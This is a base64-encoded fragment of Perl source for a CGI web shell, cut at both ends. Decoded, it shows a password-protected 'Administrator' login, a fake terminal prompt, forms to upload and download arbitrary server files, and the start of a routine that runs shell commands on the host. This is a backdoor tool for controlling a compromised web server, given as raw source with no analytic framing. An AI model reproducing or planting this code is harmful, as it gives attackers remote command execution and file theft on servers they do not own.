JFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPgpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8YnI+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7J30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9J2dyZWVuJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KJFByb21wdAo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCJ0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+CjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyAKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgoKPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgokUHJvbXB0IHVwbG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+CjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPgpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+Cgo8L2Zvcm0+CgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlyZXR1cm4gPDxFTkQ7CjwvdGV4dGFyZWE+Cjxicj48Zm9udCBjb2xvcj15ZWxsb3c+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+Cjxicj48Zm9udCBzaXplPSc2JyBjb2xvcj1yZWQ+S2lsbGVkIGl0ITwvZm9udD4KRU5ECgl9Cn0KCgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UKewoJbG9jYWwoJEZpbGVVcmwpID0gQF87CglteSAkcmVzdWx0PSIiOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJHJlc3VsdCAuPSA8PEVORDsKU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwKPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4KRU5ECgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCX0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsKCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCW15ICRyZXN1bHQgPSAiIjsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCQlleGl0KDEpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCgl9CglteSAkcmVzdWx0PSIiOwoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MKCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsKCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOwoJCX0KCQllbHNlCgkJewoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CglteSAkcmVzdWx0PSIiOwoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdl